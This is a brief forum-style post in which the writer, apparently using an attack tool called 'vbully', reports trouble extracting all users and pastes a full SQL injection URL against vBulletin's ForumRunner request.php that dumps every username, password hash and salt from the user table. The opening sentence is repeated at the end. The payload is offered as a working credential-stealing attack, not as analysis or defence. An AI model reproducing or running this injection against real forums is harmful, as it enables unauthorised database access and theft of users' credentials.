I get an issue where vbully will not return all users, and if I manually use the SQLi:
//forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1)union select 1,2,3,(select (@x) from (select (@x:=0x00),(select (0) from (user)where (0x00) in (@x:=concat(@x,0x3c62723e,username,0x3a,password,0x3a,salt))))x),5,6,7,8,9,10-- -
It does show them all
I get an issue where vbully will not return all users, and if I manually use the SQLi: